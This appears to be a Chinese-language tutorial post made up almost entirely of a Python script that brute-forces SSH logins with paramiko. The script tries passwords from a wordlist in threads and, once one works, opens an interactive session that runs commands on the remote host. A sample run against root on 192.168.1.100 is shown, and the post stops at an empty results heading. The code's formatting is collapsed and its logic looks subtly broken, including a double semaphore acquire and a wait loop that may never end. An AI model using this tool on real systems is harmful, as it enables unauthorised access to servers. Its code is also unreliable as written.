paramiko 库实现的暴力破解 SSH 密码

import paramiko
import optparse
import threading
import time
from threading import Thread, BoundedSemaphore# 用paramiko暴力破解SSH密码
# 最大并发连接尝试的数量，可根据实际情况调整，适当减小可降低对目标服务器的压力以及减少多线程同步问题出现的概率
maxConnections = 2
# 创建一个有界信号量，用于控制并发连接的数量，初始值设为最大并发连接数
connection_lock = BoundedSemaphore(value=maxConnections)
# 用于标记是否已经找到正确的密码，初始化为False，一旦找到正确密码，将被设置为True
Found = False
# 记录连接失败的次数，初始化为0，后续根据失败情况累加
Fails = 0
# 创建一个线程锁，用于控制打印输出，避免多线程打印时出现混乱
print_lock = threading.Lock()
# 创建一个线程锁，用于控制对共享变量Found等的修改操作，保证线程安全
stop_lock = threading.Lock()def connect(host, user, password):"""尝试使用给定的主机、用户和密码建立SSH连接:param host: 目标主机地址:param user: 用户名:param password: 密码:return: 如果成功连接返回密码（即找到的正确密码），否则返回None"""# 获取当前线程的名称，方便在打印信息中标识是哪个线程在执行操作current_thread = threading.current_thread().nameprint(f"[{current_thread}] 开始尝试连接，使用密码: {password}")global Foundglobal Failstry:print(f"[{current_thread}] 尝试获取连接锁")# 获取连接锁，保证同一时间只有指定数量（由maxConnections控制）的线程能尝试连接connection_lock.acquire()print(f"[{current_thread}] 成功获取连接锁")ssh_client = paramiko.SSHClient()# 设置自动添加主机密钥策略，避免因未知主机密钥导致连接失败（这种方式存在一定安全风险，生产环境需谨慎使用）ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())# 尝试使用给定的主机、用户和密码建立SSH连接ssh_client.connect(host, port=22, username=user, password=password)# 获取打印锁，确保多个线程打印信息时不会出现混乱，然后打印找到密码的提示信息with print_lock:print('[+] Password Found')# 获取停止锁，用于安全地修改共享变量Found，将其设置为True，表示已找到密码，并打印提示信息告知其他线程停止尝试with stop_lock:Found = Trueprint(f"[{current_thread}] 已将Found变量设置为True，表示找到密码，通知其他线程停止尝试")print(f"[{current_thread}] 成功连接，返回密码: {password}")return passwordexcept paramiko.AuthenticationException:# 获取停止锁，检查是否已经通过其他线程找到了密码，如果已找到则本线程停止尝试并返回Nonewith stop_lock:if Found:print(f"[{current_thread}] 已找到密码（通过Found变量判断），本线程停止尝试，返回None")return Noneprint(f"[{current_thread}] 认证失败，请检查用户名和密码是否正确")Fails += 1# 这里将最大失败次数设置为可配置的变量MAX_FAILURES，方便根据实际情况调整if Fails > MAX_FAILURES:with print_lock:print("[!] Exiting: Too many connection failures")print(f"[{current_thread}] 达到最大失败次数，本线程停止，返回None")return Noneprint(f"[{current_thread}] 继续下一次尝试，返回None")return Noneexcept paramiko.SSHException as ssh_exception:with print_lock:print(f"[{current_thread}] SSH连接出现异常: {ssh_exception}")Fails += 1if Fails > MAX_FAILURES:with print_lock:print("[!] Exiting: Too many connection failures")return Nonereturn Noneexcept Exception as e:with print_lock:print(f"[{current_thread}] 出现其他未知异常: {e}")Fails += 1if Fails > MAX_FAILURES:with print_lock:print("[!] Exiting: Too many connection failures")return Nonereturn Nonefinally:print(f"[{current_thread}] 准备释放连接锁")# 释放连接锁，允许其他等待的线程获取锁并尝试连接connection_lock.release()print(f"[{current_thread}] 成功释放连接锁")def interact_with_remote(host, user, password):"""在登录成功后，进入与远程主机的交互模式，可执行命令:param host: 目标主机地址:param user: 用户名:param password: 正确密码"""ssh_client = paramiko.SSHClient()ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:ssh_client.connect(host, port=22, username=user, password=password)print(f"[*] 已成功登录 {host}，现在可以输入命令与远程主机交互（输入 'exit' 可退出交互模式）")while True:command = input("请输入要执行的命令: ")if command.lower() == "exit":breaktry:stdin, stdout, stderr = ssh_client.exec_command(command)result = stdout.read().decode('utf-8')print(result)except paramiko.SSHException as e:print(f"[!] 执行命令时出现 SSH 异常: {e}")except UnicodeDecodeError:print(f"[!] 命令执行结果解码出现问题，请检查编码格式")except paramiko.AuthenticationException:print(f"[!] 交互时认证出现问题，请检查用户名和密码是否正确")except paramiko.SSHException as ssh_exception:print(f"[!] 建立交互连接时出现 SSH 异常: {ssh_exception}")except Exception as e:print(f"[!] 出现其他未知异常: e")finally:ssh_client.close()print("[*] 已退出与远程主机的交互，程序继续运行...")def main():global MAX_FAILURES# 最大失败次数设置为20，可根据实际情况灵活调整这个值，当连接失败次数超过这个值时，线程停止尝试MAX_FAILURES = 20parser = optparse.OptionParser('usage: %prog -H<target host> -u<user> -F<password list>')parser.add_option('-H', dest='host', type='string', help='specify target host')parser.add_option('-u', dest='user', type='string', help='specify the user')parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')(opts, args) = parser.parse_args()host = opts.hostpasswdFile = opts.passwdFileuser = opts.userif host is None or user is None or passwdFile is None:print(parser.usage)exit(0)correct_password = Nonepassword_found_event = threading.Event()line_number = 0  # 添加变量用于记录当前读取的行数with open(passwdFile, 'r') as fn:for line in fn.readlines():line_number += 1  # 每读取一行，行数加1print(f"[*] 当前读取到第 {line_number} 行，密码为: {line.strip()}")  # 打印出行数和密码内容password = line.strip()print(f"[*] 准备获取连接锁")connection_lock.acquire()print(f"[*] 成功获取连接锁")t = Thread(target=connect, args=(host, user, password))t.name = f"Thread-{password}"t.start()print(f"[*] 开始检查密码是否找到，当前password_found_event状态: {password_found_event.is_set()}")while True:if Found:correct_password = passwordpassword_found_event.set()print(f"[*] 已找到密码，设置password_found_event事件")breaktime.sleep(0.01)print(f"[*] 结束本次密码检查，当前password_found_event状态: {password_found_event.is_set()}")if password_found_event.is_set():print(f"[*] 检测到password_found_event已设置，准备跳出外层循环")breakif password_found_event.is_set():interact_with_remote(host, user, correct_password)if __name__ == '__main__':main()
运行命令python3 your_script_name.py -H 192.168.1.100 -u root -F /path/to/passwords.txt

运行结果：